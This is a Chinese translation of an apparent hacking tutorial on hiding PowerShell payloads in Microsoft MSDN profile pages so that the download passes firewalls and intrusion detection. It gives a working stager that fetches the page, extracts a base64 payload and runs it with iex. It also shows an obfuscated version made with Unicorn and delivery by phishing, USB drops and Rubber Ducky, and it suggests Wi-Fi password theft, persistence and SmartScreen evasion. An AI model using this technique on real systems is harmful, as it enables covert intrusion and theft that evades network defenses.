使用Microsoft.com域绕过防火墙并执行有效负载

2022-04-26 08:44:57 浏览数 (1)

Microsoft.com是互联网上最广泛的域名之一,拥有数千个注册子域名。Windows 10将每小时对这些子域进行数百次ping操作,这使得防火墙和监视操作系统发出的所有请求变得极具挑战性。攻击者可以使用这些子域来提供有效负载以逃避网络防火墙。在最近尝试在社交媒体上分享文章时,Twitter阻止我在推文窗口中输入简单的PowerShell命令。Twitt

Microsoft.com是互联网上最广泛的域名之一,拥有数千个注册子域名。Windows 10将每小时对这些子域进行数百次ping操作,这使得防火墙和监视操作系统发出的所有请求变得极具挑战性。攻击者可以使用这些子域来提供有效负载以逃避网络防火墙。

在最近尝试在社交媒体上分享文章时,Twitter阻止我在推文窗口中输入简单的PowerShell命令。Twitter 继续显示一条错误消息,指出无法提交推文。

在我看来,黑客过去一直在推特使用PowerShell命令,意图将服务用作有效负载托管系统。这个概念并不新鲜,让我想到了可以类似使用的其他流行域名,以及活动对攻击可能带来的潜在好处。

为什么使用Microsoft域而不是专用VPS?

最重要的优势可能是这些流行域对网络防火墙和高度安全的环境的影响。

这个概念相对简单。攻击者将在Microsoft域上托管其有效负载。当目标Windows 10计算机尝试下载它时,强化的操作系统和网络将更有可能允许Web请求遍历网络并绕过防火墙和组织设置的入侵检测系统(IDS)。

Windows 10计算机每天可以“ 打电话回家 ”数万次。即使使用强化设置,Windows 10也会对Microsoft服务器进行数千次ping操作。需要一些传输到Microsoft域和从Microsoft域传输的数据来维护系统更新和操作系统的其他重要方面。下面是一个示例Wireshark捕获数据(GET)的Windows 10系统。

某些Microsoft域可能会出现不常见的子域(例如,“geover-prod.do.dsp.mp.microsoft.com”)。这些通常用于在后台运行的专用服务,资源和应用程序。这意味着一些严格的防火墙和IDS将允许这些具有通配符的域(例如,允许* .microsoft.com)通过网络。某些系统管理员也可能完全忽略Microsoft域,因为它们不太可能被恶意攻击者滥用。

攻击者可以利用这些知识来获取优势。以下面的Wireshark捕获为例。你注意到什么异常吗?

“social.msdn.microsoft.com”域名仅用于下载攻击者的有效负载。对于肉眼 - 或任何执行深度包检测(DPI)的人来说,这种流量看起来大多是良性的。该域名属于Microsoft针对开发人员和日常Windows 10用户的社区论坛。请求(TCP / TLS)已加密,因此进一步检查数据包将不会显示网页或内容(即有效负载)的完整路径。观察网络上此流量的管理员可能会认为目标用户只是在浏览Microsoft论坛。

导航到攻击者设置的页面,我们可以看到嵌入“关于我”部分的有效负载。

许多Microsoft拥有的域可用于此类活动,如Microsoft Answers,Office Forms,OneDrive,甚至其他Microsoft新闻媒体的评论部分。所有这些合法的Microsoft域都允许用户输入可以滥用来托管有效负载。

第1步:创建有效负载

此时,我们将定义将在目标计算机上执行的最后一段代码。为了简单起见,有效负载将在Documents 文件夹中创建一个名为pwn_sauce的空文本文件。记下三重反斜杠(\)。在Bash(Kali终端)中,需要将有效负载中的 PowerShell 变量作为文字字符串传递。

代码语言:javascript复制
powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentspwn_sauce'

PowerShell将使用旁路执行策略(-ep),同时使用/ w 1保持终端弹出窗口隐藏。在新建项目 cmdlet用于创建一个新的文件。在文件名的路径中,用户名环境变量用于自动插入受感染用户的用户名。它可以在任何Windows 10计算机上执行,而无需修改命令的任何部分。将创建Documents 文件夹中的新文件。

上面屏幕截图中的简单命令可以直接嵌入“ 关于我”部分。包含特殊字符的复杂PowerShell有效内容必须是base64编码的。否则,Microsoft的服务器将检测并清理特殊字符(例如,<>&)。Base64编码有效载荷是解决该问题的快捷方法。

代码语言:javascript复制
~# printf '%s' "PAYLOAD GOES HERE" | base64

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6
XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

使用扩展命令,base64可能会产生多个编码行。在PowerShell中使用base64字符串时,它们需要出现在一行中。通过将base64输出传递给tr来删除(-d)新行( n),将多行连接成一个字符串。

代码语言:javascript复制
~# printf '%s' "PAYLOAD GOES HERE" | base64 | tr -d 'n'

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

这是用于设置有效载荷的。让我们继续创建Microsoft帐户并设置stager。

第2步:创建Microsoft帐户

需要Microsoft帐户才能创建和修改托管有效内容的配置文件页面。导航到Live登录页面以启动该过程。

登录后,导航到social.msdn.microsoft.com/Profile/USERNAME上的用户个人资料页面,然后单击“编辑我的个人资料”按钮以更新“ 关于我”部分。

第3步:在Microsoft网站上托管Payload

Microsoft配置文件页面上的“ 关于我”部分可以容纳1,024个字符,在创建有效负载时应注意这一点 - 尤其是在使用base64编码有效负载时,因为它会增加字符数。可以以明文形式托管有效负载,但PowerShell stager需要包含一些代码来检测并以纯文本格式转换已清理的HTML字符串。虽然可能,但这超出了本文的范围。

将所需的有效负载粘贴到START和END之间的About Me部分。这对下一步的stager至关重要,它将分析Microsoft页面上的所有HTML并提取“START”和“END”标识符之间的编码字符串。

完成后,单击页面底部的“保存”按钮。

第4步:创建Stager

以下PowerShell单线程设计用于下载Microsoft用户的配置文件页面,提取编码的有效负载,对其进行解码,然后执行它。

代码语言:javascript复制
$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }

链接在一起的多个命令由分号分隔。我将分解下面的每个命令。

代码语言:javascript复制
$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;

上图:Invoke-WebRequest(iwr)cmdlet用于使用-UseBasicParsing参数获取网页。所有这些都设置在$ wro(WebResponseObject)变量中。不推荐使用时,UseBasicParsing参数用于启用基本解析。我发现需要手动设置此参数才能使请求成功。

代码语言:javascript复制
$r = Regex::new("(?<=START)(.*)(?=END)");

上图:PowerShell将使用正则表达式模式来定位HTML中的有效负载。还有其他方法可以使用PowerShell从网页中提取内容,但这种方法具有普遍性。嵌入到任何网站的START和END中的有效负载将被此命令过滤掉。

代码语言:javascript复制
$m = $r.Match($wro.rawcontent);

上图:它将为匹配正则表达式模式的任何文本创建变量$ m。

代码语言:javascript复制
if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::FromBase64String($m.value)); ...}

上图:如果在 m变量中找到任何模式,则解码(FromBase64String)字符串并将其设置为 p变量。

代码语言:javascript复制
iex $p

上图:使用Invoke-Expression(iex)执行 p变量。在这种情况下, p是PowerShell有效负载。要测试它,可以使用echo命令替换iex命令,如下所示。

第5步:模糊PowerShell Stager(可选)

攻击者可能需要使用像Unicorn这样的工具来混淆stager 。要深入了解Unicorn,请查看“ 如何创建无法检测的有效负载 ”和官方GitHub页面以获取详细信息。

代码语言:javascript复制
~# python unicorn.py stager.ps1

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/_ --(/|___/-/
                                   |_-___ __-_`- /-/ .
                                  |_-___,-_____--/_)' ) 
                                    -_ /     __ ( `( __`|
                                   `__|      |) ) /(/|
           ,._____.,            ',--//-|        |  '   /
          /     __. ,          / /,---|              /
         / /    _.           `/`_/ _,'        |     |
        |  | ( (     |      ,/'__/'/          |     |
        |    `--, `_/_------______/           (   )/
        | |   _. ,                            ___/
        | |  _                                      
             _       /                             
            ._  __ _|       |                       
           ___               |                        
           __ __   _ |                                |
           |  _____   ____      |                        |
           |   __ ---' .__     |        |               |
             __ ---   /   )     |                      /
               ____/ / ()(                `---_       /|
             __________/(,--__    _________.    |    ./ |
               |        `---_--,              _,./   |
               |        _ `     /`---_______-   \    /
                      .___,`|   /                 \   
                      |  _ |                 (   |:    |
                                |             /  / |    ;
                                           ( `_'     |
                    .         .             `__/   |  |
                                .                  |  |
                                                   (  )
                           |          |              |  |
                         |                          I  `
                         ( __;        ( _;            ('-_';
                         |___        ___:            ___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

[*] Exported powershell output code to powershell_attack.txt

于是,猫的“powershell_attack.txt”文件,找到混淆驿站。

代码语言:javascript复制
~# cat powershell_attack.txt

powershell /w 1 /C "s""v ic -;s""v tHL e""c;s""v NwW ((g""v ic).value.toString() (g""v tHL).value.toString());powershell (g""v NwW).value.toString() ('JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA')"

第6步:部署Stager

精选的stager是为USB Rubber Ducky设计和测试的。但是,还有很多其他方法可以在目标计算机上执行代码。以下是可能的攻击向量的非详尽列表。

  • Man-in-the-middle:像Mitmf(现已弃用)和Bettercap这样的工具能够拦截下载并用恶意文件替换它们。
  • 电子邮件附件:网络钓鱼攻击是攻击者试图破坏组织的主要方式之一。有些组织规模太大,无法为员工提供足够的安全意识培训,这使其成为一种有效的技术。
  • USB Dead Drop:USB drop的成功率接近50%。许多人可能会被欺骗,将随机USB闪存盘插入他们的计算机。
  • USB Rubber Ducky:通过几秒钟的物理访问目标计算机,USB Rubber Ducky可用于提供舞台。

第7步:改善攻击(结论)

攻击者可以采取更多措施来改善这种攻击。

滥用Google.com托管有效负载:

使用Google.com托管有效负载是对攻击的一种改进。与* .microsoft.com一样,大多数防火墙都不会阻止直接向google.com发出的GET请求。

直接在Google上托管有效负载比较棘手。谷歌是一个搜索引擎,因此攻击者需要通过创建一个谷歌可以索引的网站来利用它。然后,他们需要创建一个包含有效负载的Web路径作为文件名。稍后将通过识别href而不是关于我的部分(下面的示例)的主体来获取有效载荷。目标的计算机永远不会真正查询攻击者的网站。有效载荷将完全使用谷歌搜索引擎获得。

有目的的有效负载:

本文介绍了一个非常简单的PowerShell负载,它在Documents 文件夹中创建了一个空文本文件。实际上,攻击者可能会尝试泄露Wi-Fi密码,使用schtasks之类的工具建立持久性,或者在StartUp 文件夹中删除EXE。

但是,如果离开网络的数据是一个障碍,可能很容易检测到通用的TCP反向shell - 这会破坏在stager中使用Microsoft或Google域的目的。在这种情况下,可能更希望将目标计算机用作Wi-Fi热点并创建SMB共享。此类攻击将允许攻击者连接到目标的Wi-Fi热点(绕过原始网络)并掠夺计算机上的文件。

SmartScreen逃避:

SmartScreen是Microsoft开发的附加安全层。它作为反恶意软件服务在后台运行,同时针对Microsoft恶意软件数据库扫描应用程序和文件。

在我的短期测试中(没有Unicorn混淆),一个经过编译的PowerShell stager(EXE)能够在一台稍微强化的Windows 10机器上绕过Chrome浏览器,Windows Defender和Avast防病毒软件。另一方面,SmartScreen将提示用户手动执行由“ 未知发布者 ”(即攻击者)创建的EXE 。本文重点介绍了避开网络防火墙,因此我们将展示如何签署可执行文件并在将来绕过SmartScreen。

跟我来@tokyoneon_我可能会分享更多代码来扰乱Twitter的黑客检测系统。另外,如果您有任何疑问,请务必在下面发表评论。

翻译自https://null-byte.wonderhowto.com/how-to/use-microsoft-com-domains-bypass-firewalls-execute-payloads-0196505/

0 人点赞